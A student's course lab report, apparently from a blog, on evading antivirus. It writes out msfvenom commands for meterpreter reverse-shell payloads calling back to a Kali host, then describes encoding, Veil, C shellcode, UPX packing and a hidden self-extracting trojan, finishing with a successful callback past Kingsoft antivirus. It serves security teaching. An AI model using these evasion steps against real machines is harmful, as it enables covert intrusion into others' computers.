20174320 王灏汉《网络对抗技术》 Exp3 免杀原理与实践


1 实验要求

1.1 实验内容

1.1.1 实践各种免杀技术

       - 正确使用msf编码器

       - msfvenom生成如jar之类的其他文件

       - veil

       - 加壳工具

       - 使用C + shellcode编程

       - 使用其他课堂未介绍方法

1.1.2 通过组合应用各种技术实现恶意代码免杀

1.1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 基础问题回答

1.杀软是如何检测出恶意代码的?

  • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
  • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

2.免杀是做什么的?

  通过使用一些技术手段,让安全软件无法检测处理主机中的恶意代码。

3.免杀的基本方法有哪些?

  • (1)通过改变自身特征码
    • 加壳
    • 进行异或、逆序或者其他手段改变自身特征码
    • 通过改变软件攻击的行为
  • (2)在看似正常的应用中插入恶意代码
    • 可以使用反弹端口技术,看似是靶机在主动链接ip,降低被查杀的风险
    • 使用隧道技术

2 实验过程及步骤

2.1 实践各种免杀方法

2.1.1 正确使用msf编码器

在上次实验中生成了4320_backdoor的后门文件,将其放在virustotal.com中进行扫描,结果如下图所示:

可以发现,71款杀软中有58款报出了病毒。毕竟Msfvenom是Metasploit平台下用来编码payloads免杀的工具,以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里,所以被大多数杀软识别出来并不奇怪。

接下来用msf编码器进行一次编码,使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.128 LPORT=4320 -f exe > fool4320.exe 生成编码过的可执行文件fool4320.exe,再去virustotal.com中进行扫描:

 

扫描后甚至比之前还多了1款杀软报毒。。。。

一次不行尝试进行十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.128 LPORT=4320 -f exe > met-encoded10.exe

再次去virustotal里扫描:

 

十次编码之后还是有58款杀毒软件报毒,和一开始编码前相比报毒率几乎没变。

由此可见,无论编码多少次都是一样,所以想要利用编码次数来达到免杀效果显然是不行的。

2.1.2  msfvenom生成其他文件

jar文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.128 LPORT=4320 x> bd_java.jar 生成文件如下所示:

 生成好之后把它放到win中指定位置,再放到virustotal.com中扫描一下:

 

 虽然还是有35个杀软报毒,但是和exe比起来jar格式明显少了很多。

php文件

使用命令 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.128 LPORT=4320 x> 4320.php 生成文件如下所示:

生成好之后放到virustotal.com中扫描一下:

可以看到有32个杀软报毒,和jar格式差不多。

综上所述,用MSF生成这些java格式文件对免杀还是有一定的效果。

2.1.3 使用veil-evasion生成后门程序及检测

Veil-Evasion是一个与Metasploit有点类似的软件,可以在kali进行在线安装:sudo apt-get install veil-evasion (安装过程极为麻烦,详见实验遇到的问题)

在终端下输入指令veil即可打开软件,输入use 1进入veil-evasion

成功进入到菜单界面,可以看到当前一共有 41 种 payload 可用!我们可以使用 list 命令来查看 payload 的详细信息!根据 payload 编号,这里我选择 29号的 python payload进行实验。

接下来输入指令生成payload,选择一种生成 shellcode 的模板文件,我就选择 msfvenom 。

选择后开始设置IP地址和端口号:

接下来,要求对文件进行命名,我就用我自己的学号4320命名:

这个界面要求我们,对生成的 payload 进行可执行性的编译,通过网上查资料,我选择了第2个免杀性更强的编译器。

一切设置好以后,回车一下可以看到,我们需要的后门程序已经生成好了:

现在就可以开开心心地拿到virustotal.com上去扫描了:

 

可以看到veil做出来的后门程序虽然还是有42/71的杀毒软件报毒,但是还是比msf做的后门程序免杀性高。

2.1.4 使用C + shellcode编程

在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.128 LPORT=4320 -f c

得到一个生成的shellcode数组

 

 新建一个shellcode_4320.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

 

使用  i686-w64-mingw32-g++ shellcode_4320.c -o shellcode_4320.exe  命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件shellcode_4320.exe

可以把这个文件放到virustotal.com上去扫描了:

 结果和上面veil里生成的后门程序报毒率差不多,但是比单纯的msf生成的后门免杀性强了不少。

 风险已经降低了,但是仍被定性为病毒文件,所以还可以进一步考虑修改代码。

 2.1.5 加壳

upx是一种压缩程序,可以实现加壳的功能,可以输入如下命令来完成:

upx #需要加壳的文件名 -o #加壳后的文件名

这里我就把上面用c编程的shellcode生成的后门程序用来加壳试试,看看免杀性是否会有提高:

把加壳之后得到的程序放到virustotal.com上扫描一下:

 

效果还是相当不错!杀软的报毒率才差不多50%,已经是实验到目前为止免杀效果最好的一种技术了!

2.1.6 其他方法——自解压捆绑木马

随着人们对木马的了解和防范意识的增强,木马设计者们开发出了更多的功能来伪装木马,以达到降低用户警觉的目的。

因此,当前,木马仍然还是一种非常有效的伪装手段。

下面就来尝试一下制作自解压捆绑木马。

1、将要捆绑的文件(这里我使用第一个实验老师给的pwn1和刚刚shellcode的后门文件)放在同一个文件夹下,同时框选后右击选择“添加到压缩文件”。

2.更改压缩参数,勾选创建自解压文件,取一个诱惑性的名字!哈哈哈

3.依次选择高级->自解压选项->模式,选择全部隐藏

4.点击确定,这样一来,自解压文件就做好了。把它放到virustotal.com上去扫描一下:

360杀毒好厉害,还是被它给发现了。但可以从扫描结果可以看到,免杀效果还是有提升哎!唯一一种报毒率不超过50%的方法!比起单独的shellcode强了不少!

2.2 通过组合应用各种技术实现恶意代码免杀

我打算用实验到目前为止免杀效果最强的几种手段组合到一起:使用C + shellcode编程+加壳+自解压捆绑

下面就来试试.....

 

扫描结果显示还是相当不错的,7/58个杀毒软件报毒,80%的杀毒软件都没有检测出来!看来这三个技术的综合运用还是相当有效的!

虽然还是识别出了病毒,没能做到完全免杀,但是确实是可以和我电脑上的杀软(360)共存的。

这是360的扫描日志和结果:

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

用家里的连在同一局域网另一台dell笔记本进行实验,杀软是金山毒霸,版本如下:

并且在电脑得到我的后门程序之后,金山毒霸并没有报毒,运行时也没有报毒:

运行传过来的后门程序,可以发现得到了windows的shell:

回连成功! 


3 实验思考与感受

3.1 实验中遇到的问题

(1)veil安装总是失败,或者速度极慢,我甚至是用热点下载的。

查看我的kali发现并没有veil只有先在线下载veil:apt-get install veil,下载之后提示需要下载wine,但是自动下载太慢,只能手动get:

wine下载之后,又需要下载Python、ruby、Go等等一系列的程序

安装好之后却提示下面找不到wine的错误,不知道该怎么办了。只有按照上面提示的命令去run一下:

发现它又重新安装了一遍wine,第二次安装完成后,终于成功了。

(2)任务三传给其他电脑后一开始无法打开。

另一电脑接收后打开总是弹出下面的错误:

 

在网上查了很多资料也没能解决,但奇怪的是我多传了几次,最后居然能成功正常打开了。(让人摸不着头脑)

3.2 开启杀软能绝对防止电脑中恶意代码吗?

在做完实验之后,这个问题的答案就很显然。开启杀软只能是对电脑有一定的保护,绝对防止是不可能的。作为我这样的初学者制作的后门都能骗过杀软的眼睛,何况真正厉害的黑客和信息安全方面的专家呢。只要保证了恶意代码的免杀性,采用先进的技术手段,或者是运用杀软特征库里没有的后门,那么避开杀软,欺骗杀软就变得轻而易举了。

3.3 心得体会

如果说第一次实验强调细节,第二次实验强调技术,那么这次实验就是在考察我们对这些生成后门的平台、软件的使用。这一次实验室一次相当综合的实验,不仅需要结合第一次实验、第二次实验所学习的知识、技术,还需要我们相应较高水平的动手能力、创新能力。虽然在实验结束之后回顾发现恶意代码、后门程序还是很容易生成的,但是要做出真正免杀的后门程序还是相当考验一个人的能力的,也是相当困难的。果然杀毒软件和病毒真是应运而生的,相互之间达到一种微妙的平衡,谁也没法打败谁,但在这背后,终归是强大的人类智慧!

 

 

 

posted @ 2020-03-24 17:41  20174320  阅读(194)  评论(0编辑  收藏